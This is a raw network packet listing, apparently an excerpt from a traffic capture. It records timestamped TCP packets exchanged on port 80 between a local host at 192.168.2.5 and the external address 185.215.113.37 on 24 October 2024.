Oct 24, 2024 15:09:14.447324991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447335005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447339058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447360039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447371960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447382927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447391033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447401047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447417021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447417021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447432041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447432995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447448015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447448969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447463989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447464943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447479010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447488070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447496891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447500944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447520018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447524071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447532892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447540998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447556019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447559118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447571993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447577953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447587967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447596073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447603941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447613955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447626114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447628975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447643995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447647095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447662115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447668076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447678089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447685957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447702885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447706938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447720051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447725058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447740078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447740078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447756052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447757006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447772980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447772980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447789907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447793007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447805882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447813034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.447824001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.447843075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.451967955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.451986074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452008963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452024937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452037096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452037096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452050924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452054024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452064991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452073097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452076912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452089071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452106953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452126980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452176094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452188015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452208996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452212095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452219963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452227116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452230930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452239990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452251911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452255964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452264071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452275038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452287912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452289104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452302933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452302933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452311993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452322006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452323914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452343941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452347040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452358007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452368975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452378988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452395916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452399015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452410936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452420950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452425957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452436924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452446938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452446938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452460051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452471972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452475071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452487946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452500105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452505112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452517986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452528954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452531099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452547073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452549934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452558041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452575922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452584982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452593088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452603102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452605963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452619076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452635050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452639103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452651024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452656984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452661991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452675104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.452676058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452698946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.452722073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.561147928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.561283112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.602803946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.602847099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.602859020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.602870941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.602883101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.602935076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.602942944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.602948904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.602960110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.602962971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.602972031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.602982044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.602993965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603003979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603007078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603041887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603066921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603069067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603077888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603089094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603115082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603142023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603236914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603249073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603259087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603270054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603282928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603288889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603296995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603302002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603311062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603337049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603358030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603378057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603389025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603399992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603410959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603410959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603423119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603429079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603429079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603435040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603446960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603508949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603508949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603534937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603548050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603559971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603568077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603585005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603605986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603705883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603718042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603740931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603741884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603753090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603755951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603766918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603773117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603792906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603848934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603858948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603866100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603871107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.603915930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.603998899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604012012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604022026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604032040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604032993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604046106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604058981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604063034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604069948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604080915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604084015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604093075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604114056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604126930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604150057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604161024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604171991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604180098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604182959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604196072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604208946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604216099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604223967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604244947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604244947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604255915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604263067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604265928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604283094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604285002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604304075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604310036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604315042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604327917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604332924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604351997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604362011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604365110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604372978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604384899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604394913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604398012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604401112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604408026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604412079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604434967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604446888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604451895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604454041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604465008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604475975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604475975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604486942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604491949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604496002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604506016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604512930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604516983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604526997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604537010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604543924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604563951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604574919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604593039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604597092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604615927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604624987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604630947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604638100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604649067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604650021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604660034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604662895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604671001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604681015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604692936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604705095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604706049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604713917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604717970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604729891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604738951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604751110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604758024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604765892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604768991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604779959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604790926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604794979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604801893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604811907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604814053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604823112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604832888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604844093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604844093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604855061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604860067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604876995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604877949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604897022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604901075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604907990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604918957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604919910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604932070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604939938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604943037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604954004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604964972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604965925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.604975939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.604986906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.605000019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605001926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.605025053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605029106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.605036974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605045080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.605046988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605062008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605066061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.605072021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605081081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605093002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605093956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.605103970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605113983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.605125904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605129957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.605137110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605146885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605155945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.605158091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605168104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:14.605182886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:14.605189085 CEST	80	49704	185.215.113.37	192.168.2.5
